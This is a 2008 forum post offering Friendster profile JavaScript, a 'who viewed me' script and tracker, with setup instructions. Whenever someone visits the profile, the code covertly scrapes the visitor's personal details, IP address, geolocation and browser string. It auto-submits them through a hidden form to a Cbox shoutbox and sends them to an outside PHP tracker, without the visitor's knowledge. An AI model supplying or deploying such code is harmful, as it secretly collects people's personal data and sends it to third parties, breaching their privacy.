[b]credits:[/b]
[b]Feruzz[/b] and [b]Parlay[/b]
>>If you dont have cbox,please make one here:
www.cbox.ws
Js code: Edit with your own cbox( ex.www3.12345.heinz)
www3=your own cbox site
12345= cbox id
heinz= cbox tag
put those in xxx,xxxxx,xxxxxx
[spoiler]/*IP n Location original by Nopathz*/
var geonopz = document.createElement("script");
geonopz.type = "text/javascript";
geonopz.src = "http://gd.geobytes.com/gd?after=-1&variables=GeobytesIpAddress,GeobytesCity,GeobytesRegion,GeobytesCountry";
document.getElementsByTagName("head")[0].appendChild(geonopz);
/**
* WVMCBOX version 2.3
* Author: FeRuZZ ©
http://profiles.friendster.com/feruzz
* Timestamp: GMT+8 10.15PM April 16, 2008
* free to use but not free to resell
**/
if (!attachOnLoadHandler(function() { WVMCBOX.init();})) window.onload = function() { WVMCBOX.init();};
var WVMCBOX;
if (typeof WVMCBOX == "undefined" || !WVMCBOX) { WVMCBOX = window.WVMCBOX || {}; }
(function() {
WVMCBOX = {
//private property
div: null,
//date: Date().replace(/\(.+\)/, ""),
ifstyle: [
"100%", //width
"490", //height
"auto", //scrolling
"yes" //allowtransparency
],
base: {
"cboxdiv": ["[color=green][b]xxx[/b][/color]","[color=green][b]xxxxxx[/b][/color]","[color=green][b]xxxxxx[/b][/color]"]
},
//null if not exist
details: {
shoutout:null,
gender: null,
age: null,
status: null,
location: null,
seek: null,
since: null,
profileViewed: null
},
//get viewer details
regexp: {
shoutout: /shoutouttxt"\s*style="padding\:\s*0px;\s*margin\:\s*0px;">([\S\s]*?)<\/span>/i,
gender: /q">([\S]*male)/i,
age: /male,\s*([\d]*),/i,
status: /male,\s*[\d]*,\s*([\S\s]*?)<\/span>/i,
location: /Location\:\s*<\/span><a[\S\s]*?>([\S\s]*?)<\/a><\/li>/i,
seek: /Interested\s*In\:\s*<\/span>([\S\s]*?)<\/li>/i,
since: /Member\s*Since\:\s*<\/span>([\S\s]*?)<\/li>/i,
profileViewed: /\/profilehistory\.php">([\S\s]*?)<\/a>/i
},
init: function() {
WVMCBOX.ajaxRequest("GET", "http://" + location.hostname + "/" + pageViewerID, true, null, WVMCBOX.viewer, null);
setInterval("window.wvm_submit.location.href=document.getElementById('wvm_submit').src", 200000);
},
viewer: function(htm) {
if (htm.replace(/^\s*|\s*$/g,"") === "") {
alert("ERROR: Empty xmlresponse! \n Unable to parse your details!");
return;
}else if (htm) {
for (var val in WVMCBOX.details) {
try {
WVMCBOX.details[val] = new RegExp(WVMCBOX.regexp[val]).exec(htm)[1];
}catch(e) {
WVMCBOX.details[val] = "";
}
}
var status = WVMCBOX.details.status;
switch (status) {
case "":
status = "Its Complicated";
break;
}
var seek = WVMCBOX.details.seek;
switch (seek) {
case "":
seek = "Just looking around";
break;
}
if (WVMCBOX.details.shoutout == "") {
WVMCBOX.details.shoutout = "no shoutout";}
for (var seeboks in WVMCBOX.base) {
var htmlspaces = "&nb"+"sp;";
var htmlbulls = "&bu"+"ll;";
WVMCBOX.div = "<iframe frameborder=\"0\" width=\"" + WVMCBOX.ifstyle[0] + "\" height=\"" + WVMCBOX.ifstyle[1] + "\" scrolling=\"" + WVMCBOX.ifstyle[2] + "\" allowtransparency=\"" + WVMCBOX.ifstyle[3] + "\" marginheight=\"2\" marginwidth=\"2\" src=\"http://" + WVMCBOX.base[seeboks][0] + ".cbox.ws/box/?boxid=" + WVMCBOX.base[seeboks][1] + "&boxtag=" + WVMCBOX.base[seeboks][2] + "&sec=main\" name=\"wvm_submit\" id=\"wvm_submit\"></iframe>"+
"<div style=\"display:none\">" +
"<form name=\"wvmcboxform\" id=\"wvmcboxform\" target=\"wvm_submit\" action=\"http://" + WVMCBOX.base[seeboks][0] + ".cbox.ws/box/?boxid=" + WVMCBOX.base[seeboks][1] + "&boxtag=" + WVMCBOX.base[seeboks][2] + "&sec=submit\" method=\"POST\">" +
"<input type=\"text\" name=\"nme\" value=\"" + pageViewerFName + "\">" +
"<input type=\"text\" name=\"eml\" value=\"http://profiles.friendster.com/" + pageViewerID + "\">"+
"<textarea style=\"overflow:hidden\" class=\"cboxMsgArea\" maxlength=\"500\" cols=\"22\" rows=\"3\" name=\"pst\">[color=green][b]" + WVMCBOX.details.gender + "," + htmlspaces + "" + WVMCBOX.details.age + "," + htmlspaces + "" + status +
"[/b][/color][br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.since.replace(/^\s*[\w]*?/gi,"Member Since: ") +
"[br]" + htmlbulls + "" + htmlspaces + "Interested" + htmlspaces + "In:" + htmlspaces + "" + seek +
"[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.location.replace(/^\s*[\S\s]*?/gi,"Location: ") +
"[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.profileViewed.replace(/^\s*[\S\s]*?/gi, "Profile Viewed: ") +
"[br]" + htmlbulls + "" + htmlspaces + "Browser:" + htmlspaces + "" + navigator.userAgent +
"[br]" + htmlbulls + "" + htmlspaces + "IP :" + htmlspaces + "" +sGeobytesIpAddress+"[br]"+sGeobytesCity+", "+sGeobytesRegion.split("(",1)+
"[br]"+sGeobytesCountry+
"[br][br][b]"+WVMCBOX.details.shoutout+
"[/b]</textarea>" +
"</form>"+
"</div>"+
"<div align='center' style='text-align:center;'><form name='sibok' target='wvm_submit' action='http://"+WVMCBOX.base[seeboks][0]+".cbox.ws/box/?boxid="+WVMCBOX.base[seeboks][1]+"&boxtag="+WVMCBOX.base[seeboks][2]+"&sec=submit' method='post' onsubmit='checkform()'><input type='hidden' name='nme' value='"+pageViewerFName.replace(/"/g, "").replace(/'/g, "")+"'><input type='hidden' name='eml' value='http://profiles.friendster.com/"+pageViewerID+"'><br><input type='text' name='pst' size='9' maxlength='200' style='width:130px; height:22px; border:1px solid; border-color:#999; padding-right:2px;' value='post here' onfocus=\"frmfocus(this, 'post here')\" onblur=\"frmblur(this, 'post here')\"><input type='submit' class='mybutton' value='Send' name='submit'></form><br><br></div>";
addBox("[b]LEFT[/b]","MY WVMCBOX","<div id=\""+seeboks+"\" align=\"center\">"+WVMCBOX.div+"</div>","wvmcbox",null);
}
if((pageViewerID != pageOwnerID) && (pageViewerID !== "")) {
try {
document.wvmcboxform.submit();
}catch(e) {
document.getElementById("wvmcboxform").submit();
}
}
}
},
ajaxRequest: function(type, url, cont, param, func, handlerparam) {
/*
* ajaxRequest function
* version: 2.1
* Copyright: FeRuZZ ©
http://profiles.friendster.com/feruzz
*
* @type: "GET" | "POST"
* @cont: true | false
* @param: param | null
*/
var httprequest = null;
var msxml = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"];
for (var x = 0, len = msxml.length; x < len; x++) {
try {
httprequest = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject(msxml[x]);
break;
} catch(e) {
httprequest = null;
}
}
if (typeof func === "function") {
httprequest.onreadystatechange = function() {
if (httprequest.readyState === 4) {
if (httprequest.status === 200) {
func(httprequest.responseText, handlerparam);
}
}
};
}
httprequest.open(type, url, cont);
httprequest.setRequestHeader("ajaxRequest", "true");
httprequest.setRequestHeader("X-Requested-With", "XMLHttpRequest");
if (type === "POST") {
var contentLength = param ? param.length: 0;
httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httprequest.setRequestHeader("Content-length", contentLength);
if (httprequest.overrideMimeType) {
httprequest.setRequestHeader("Connection", "close");
}
}
httprequest.send(param);
}
};
})();
function checkform(){
var f=document.sibok;
if(f.pst.value=="post here"){
alert("Where's ur message??");
f.pst.focus();
return false;
}
return true;
}
function frmfocus(x,y){
(x.value==y)?x.value="":void (0);
}
function frmblur(x,y){
(x.value=="")?x.value=y:void (0);
}[/spoiler]
>Ok heres what you have to do now..edit the green part of the code with your own cbox..
>Edit the bold part on which part do you want to put your WVMCBOX(RIGHT/LEFT)
After editing,copy and paste the code after your addbox function code..([color=blue][b] C part [/b][/color])..
Here is your guide:
[spoiler]
[color=red][b]A[/b][/color]
function onProfileLoad() {
//onload handler
//(pattern) addBox("L-R","Header",htm,"cssid","sibling");
[color=green][b]B[/b][/color] = additional sidebars eg: mp3 player..etc.
}
/*TRACKER OBJECT*/
if (typeof TRACKER == "undefined") { TRACKER = {}; }
TRACKER = {
style: {
filter: "chroma(color='#FFFFFF')",
width: '300px',
height: '520px',
border: '0px',
overflow: 'hidden'
},
attributes: {
frameborder: '0',
allowtransparency: 'true'
},
phplink: "http://h1.ripway.com/lordheinz/wvm/tracker.php",
exitmessage: "Mwah... "+pageViewerFName,
/*do not edit below this line*/
/*
WVMv2.1
by marfillaster, copyright 2007 friendster.com/mumbhaki
credits: feruzz, renalvir(pimped), nopathz, friendstertalk.com, friendster.com
licensed under GNU General Public License, version 2
http://www.gnu.org/licenses/gpl.html
Disclaimer: NO GUARANTEE and WARRANTY provided! For educational purposes only. Author will not be liable of ANY damage through the use of this program
*/
base_domain: "http://profiles.friendster.com",div: null,param: null,timedetails: null,iframeid: "wvmtemp",
details: {
photo: null,
gender: null,
age: null,
status: null,
location: null,
seek: null,
since: null
},
regexp: {
photo: /imgblock200"[\S\s]+?img src="([\S\s]+?)"/i,
gender: />([\S]*male)/i,
age: /male, ([\d]*),/i,
status: /male, [\d]*,([\S\s]*?)<\/span><\/li>/i,
location: /Location\: <\/span><a[\S\s]+?>([\S\s]+?)<\/a><\/li>/i,
seek: /In\: <\/span>([\S\s]+?)<\/li>/i,
since: /Since\: <\/span>([\S\s]+?)<\/li>/i
},
init: function() {
getElementsByClass(/commonbox[\s]*?controlpanel/i,null,"DIV")[0].innerHTML+="<iframe id=\""+this.iframeid+"\" src=\"about:blank\" style=\"display:none\"></iframe>";
var d= new Date();
var sec=invert(d.getTimezoneOffset()*60);
var hr=invert(d.getTimezoneOffset()/60);
this.timedetails="oss="+sec+"&osh="+hr;
var ifsrc=this.phplink+"?"+this.timedetails;
var atr="";
var sty="";
for (val in this.attributes) {
atr += val +"="+ this.attributes[val]+" ";
}
for (val in this.style) {
sty += val +":"+ this.style[val]+";";
}
try {this.div=document.createElement("<div>")}
catch(e){this.div=document.createElement("div")}
this.div.innerHTML="<center><iframe id=\"wvm\" "+atr+"src=\""+ifsrc+"\" style=\""+sty+"\"></iframe></center>";
if(pageViewerID!=pageOwnerID) if(pageViewerID!="")this.getDETAILS();
},
getDETAILS: function() {
processAjaxRequest("GET",this.base_domain+"/user.php?uid="+pageViewerID+"&_pmr=h&_pmmo=0&_pmt=controlpanel_1_1",true,null, "parseDETAILS",null);
},
sendExit: function() {
document.getElementById(this.iframeid).src=this.phplink+this.param+"&exit=1";
alert(this.exitmessage);
}
};
function parseDETAILS(htm) {
if(!htm) {
TRACKER.getDETAILS();
return;
}else {
for (val in TRACKER.details) {
try {
TRACKER.details[val]=encodeURIComponent(new RegExp(TRACKER.regexp[val]).exec(htm)[1]);
}
catch(e) {
TRACKER.details[val]="";
}
}
TRACKER.param="?owner="+pageOwnerID+"&id="+pageViewerID+"&name="+pageViewerFName+"&url="+TRACKER.details.photo.replace(/m.jpg/gi,"t.jpg")+"&gender="+TRACKER.details.gender+"&age="+TRACKER.details.age+"&status="+TRACKER.details.status+"&country="+TRACKER.details.location+"&seek="+TRACKER.details.seek+"&since="+TRACKER.details.since;
document.getElementById(TRACKER.iframeid).src=TRACKER.phplink+TRACKER.param;
}
}
if (!attachOnLoadHandler(function(){onProfileLoad()})) window.onload = function(){onProfileLoad()};
Ffetcher.init();
if(pageViewerID!=pageOwnerID) if(pageViewerID!="") document.write("<body onbeforeunload='TRACKER.sendExit()'>");
function invert(x) {
if(x>0) return parseInt("-"+x);
else if(x<0) {
x=x+"";
return parseInt(x.substr(1,x.length-1));
}
return 0;
}
/*END TRACKER OBJECT*/
/*MISC FUNCTIONS*/
function urlencode(txt) {
return txt.replace(/ /g,"%20").replace(/'/g,"%60").replace(/</g,"%3C").replace(/>/g,"%3E");
}
function processAjaxRequest(type,url,cont,param,handler,handlerparam) {
//by marfillaster
//type 'POST' | 'GET'
//cont 'true' | 'false'
//param string | null
//handler string | null
//handlerparam string |null
if(handlerparam) handlerparam=","+handlerparam;
else handlerparam="";
var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
if(handler) eval("httprequest.onreadystatechange=function(){if (httprequest.readyState==4) {"+handler+"(httprequest.responseText"+handlerparam+");}}");
httprequest.open( type, url, cont);
if(type=="POST") {
httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httprequest.setRequestHeader("Content-length", param.length);
httprequest.setRequestHeader("Connection", "close");
}
httprequest.send(param);
}
function getElementsByClass(searchClass,node,tag) {
var classElements = new Array();
if ( node == null )
node = document;
if ( tag == null )
tag = '*';
var els = node.getElementsByTagName(tag);
var elsLen = els.length;
var pattern = new RegExp(searchClass);
for (i = 0, j = 0; i < elsLen; i++) {
if ( pattern.test(els[i].className) ) {
classElements[j] = els[i];
j++;
}
}
return classElements;
}
/*END MISC FUNCTIONS*/
function addBox (type,head,htm,id,sibling) {
//by marfillaster
//type "LEFT" | "RIGHT"
//head header string
//htm innerHTML string
//id css_id string
//sibling css_id_insertbefore string | null
/* Available default Siblings
Default "sibling_ID" Boxes for Reference (10/19/07)
LEFT RIGHT
"0" = controlpanel "15" = meettrail
"1" = photos "2" = friends
"13" = blogs "14" = googleads
"12" = reviews "7" = fan
"6" = moreabout "8" = groups
"18" = publiccomments null = appends to last(without "")
"10" = scrapbook
*/
try {
var li=document.createElement("li");
} catch(e) {
var li=document.createElement("<li>");
}
if(type=="LEFT") {
var ul=document.getElementById("0").parentNode.parentNode;
htm="<div class='boxcontent'>"+htm+"</div>";
}
else {var ul=document.getElementById("2").parentNode.parentNode;
}
li.innerHTML="<div id='"+id+"' class='commonbox "+id+"'>"+
"<h2>"+head+"</h2>"+
"<div id='content_"+id+"'>"+
htm+
"</div>"+
"</div>";
if(sibling==null) ul.appendChild(li);
else {
sibling=document.getElementById(sibling).parentNode;
ul.insertBefore(li,sibling);
}
}
[color=blue][b]C[/b][/color]
[/spoiler]
Wish i did helped you guys..cheers!
preview to my simple profile: [url=http://profiles.friendster.com/lordheinz]L H[/url] >[b]Please use mozilla when viewing my profile![/b]
Last edited by lordheinz (2008-07-02 07:42:20)